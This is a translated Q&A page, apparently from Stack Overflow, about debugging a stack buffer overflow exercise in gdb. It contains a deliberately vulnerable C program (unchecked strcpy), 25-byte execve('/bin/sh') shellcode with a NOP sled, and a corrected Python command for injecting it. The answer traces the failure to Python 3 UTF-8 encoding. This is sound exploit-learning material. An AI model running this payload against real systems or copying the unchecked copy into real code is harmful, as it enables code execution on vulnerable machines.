在缓冲区溢出中运行 shell 代码时未获得预期输出

问题描述 投票:0回答:1

找到

eip
偏移量后,我尝试向我的程序输入一些 shell 代码。使用以下命令
run $(python -c 'print("A"*108 + "BBBB")')
我得到以下输出

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

现在当我尝试添加我的 shell 代码时出现问题。当我输入

run $(python -c 'print("\x90"*63 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "B" * 20)')

我没有得到我所期望的结果,返回地址被 B 覆盖,但我得到以下内容

Program received signal SIGSEGV, Segmentation fault.
0x90c290c2 in ?? ()

当我将 B 的数量增加到 48 并将 NOP 的数量减少到 35 时,它确实有效,但我不太明白为什么这不适用于返回地址的更多 NOP 和更少的 B。我不明白的另一件事是我在堆栈中没有看到任何 NOP。

(gdb) x/200x $esp
0xffffd2a0: 0x42424242  0x42424242  0x42424242  0x42424242
0xffffd2b0: 0x42424242  0x42424242  0x42424242  0x42424242
0xffffd2c0: 0x42424242  0x42424242  0x00424242  0x00000001
0xffffd2d0: 0xffffd398  0x68e47ce5  0x9e780f0a  0x00000000
0xffffd2e0: 0x00000000  0x00000000  0xffffd3e0  0x0804b519
0xffffd2f0: 0x00000000  0x08049c76  0xffffd3e0  0x0804b52d
0xffffd300: 0x00000000  0x00000000  0x00000000  0x0804968d
0xffffd310: 0x00000040  0x0000000c  0x00000040  0x00000008
0xffffd320: 0x00040000  0x00000040  0x00002000  0x00300000
0xffffd330: 0x00090000  0x00040000  0x00002000  0x00008000
0xffffd340: 0xffffd370  0xffffd3d4  0x00000002  0x00000001
0xffffd350: 0x00000006  0x00000045  0x00000001  0x00300000
0xffffd360: 0x000c0000  0x00000004  0x00000001  0x00000000
0xffffd370: 0xffffffff  0x00000000  0x080e3620  0x00000000
0xffffd380: 0x00000000  0x00000000  0xffffd3b0  0x080e3ff4
0xffffd390: 0x00000002  0x00000000  0x00000000  0x08049688
0xffffd3a0: 0x00000000  0x00000000  0x00000000  0x08049688
0xffffd3b0: 0x0804968d  0x00000002  0xffffd3d4  0x00000000
0xffffd3c0: 0x00000000  0x00000000  0xffffd3cc  0x00000000
0xffffd3d0: 0x00000002  0xffffd5d2  0xffffd609  0x00000000
0xffffd3e0: 0xffffd6a5  0xffffd6b5  0xffffd6c9  0xffffd6ff
0xffffd3f0: 0xffffd70c  0xffffd746  0xffffd773  0xffffd78a
0xffffd400: 0xffffd79e  0xffffd7d1  0xffffd80f  0xffffd826
0xffffd410: 0xffffd83e  0xffffd881  0xffffd891  0xffffd89d
0xffffd420: 0xffffd8bd  0xffffd8cc  0xffffd8ff  0xffffd90a
0xffffd430: 0xffffd925  0xffffd93a  0xffffd94f  0xffffd95e
0xffffd440: 0xffffd97e  0xffffd9ac  0xffffd9bb  0xffffd9c4
0xffffd450: 0xffffda14  0xffffda22  0xffffda33  0xffffda48
0xffffd460: 0xffffda60  0xffffda6c  0xffffdaf0  0xffffdb01
0xffffd470: 0xffffdb35  0xffffdb64  0xffffdbb0  0xffffdbbf
0xffffd480: 0xffffdbd4  0xffffdbeb  0xffffdc09  0xffffdc1d
0xffffd490: 0xffffdc25  0xffffdc3b  0xffffdc6d  0xffffdc78
0xffffd4a0: 0xffffdc80  0xffffdc99  0xffffdcb4  0xffffdcbf
0xffffd4b0: 0xffffdcd0  0xffffdcef  0xffffdd21  0xffffdd35
0xffffd4c0: 0xffffdd53  0xffffdd6a  0xffffdd83  0xffffdda1
0xffffd4d0: 0xffffde16  0xffffde2c  0xffffde3c  0xffffdf08
0xffffd4e0: 0xffffdf1a  0xffffdf50  0xffffdf6c  0xffffdf84
0xffffd4f0: 0xffffdf9b  0x00000000  0x00000020  0xf7ffc570
0xffffd500: 0x00000021  0xf7ffc000  0x00000033  0x000006f0
0xffffd510: 0x00000010  0xbfebfbff  0x00000006  0x00001000
0xffffd520: 0x00000011  0x00000064  0x00000003  0x08048034
0xffffd530: 0x00000004  0x00000020  0x00000005  0x00000009
0xffffd540: 0x00000007  0x00000000  0x00000008  0x00000000
0xffffd550: 0x00000009  0x08049660  0x0000000b  0x000003e8
0xffffd560: 0x0000000c  0x000003e8  0x0000000d  0x000003e8
0xffffd570: 0x0000000e  0x000003e8  0x00000017  0x00000000
0xffffd580: 0x00000019  0xffffd5bb  0x0000001a  0x00000002
0xffffd590: 0x0000001f  0xffffdfc1  0x0000000f  0xffffd5cb
0xffffd5a0: 0x0000001b  0x0000001c  0x0000001c  0x00000020
0xffffd5b0: 0x00000000  0x00000000  0x62000000  0x9e72e32a

我使用的是Python 3。shell代码有25个字节长。我已经禁用了 ASLR。 这是我的 C 代码

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){
    char buffer[100];
    strcpy(buffer, argv[1]);

    return 0;
}
x86 gdb buffer-overflow machine-code shellcode
1个回答
0
投票

Python3 的字符串文字

"..."
print
时默认为 UTF-8 (Unicode) 编码,而不是 8 位 ASCII (ISO-8859-1/Latin-1)。因此,会输出额外的字符,导致您的 shellcode 无法使用。

如果您要运行 Python 命令,例如:

python -c 'print("\x90"*63 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "B" * 20)' | hexdump -C

hexdump
会让问题更加明显。输出看起来像这样:

00000000  c2 90 c2 90 c2 90 c2 90  c2 90 c2 90 c2 90 c2 90  |................|
*
00000070  c2 90 c2 90 c2 90 c2 90  c2 90 c2 90 c2 90 c3 ab  |................|
00000080  0b 5b 31 c3 80 31 c3 89  31 c3 92 c2 b0 0b c3 8d  |.[1..1..1.......|
00000090  c2 80 c3 a8 c3 b0 c3 bf  c3 bf c3 bf 2f 62 69 6e  |............/bin|
000000a0  2f 73 68 42 42 42 42 42  42 42 42 42 42 42 42 42  |/shBBBBBBBBBBBBB|
000000b0  42 42 42 42 42 42 42 0a                           |BBBBBBB.|
000000b8

您会注意到,对于那些 >= 0x80 的字符,值

C2
C3
已被插入到代码中间。结果,shellcode 无法使用。

如果您改用 Python2,问题就会得到解决,因为它不默认使用 Unicode 字符集。适用于 Python2 和 Python3 的方法是使用字节字符串文字

b'...'
并使用
sys.stdout.buffer.write
将字节输出到标准输出。

这样的命令应该在 GDB 中工作:

run $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*63 + b'\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + b'B' * 20)")
© www.soinside.com 2019 - 2024. All rights reserved.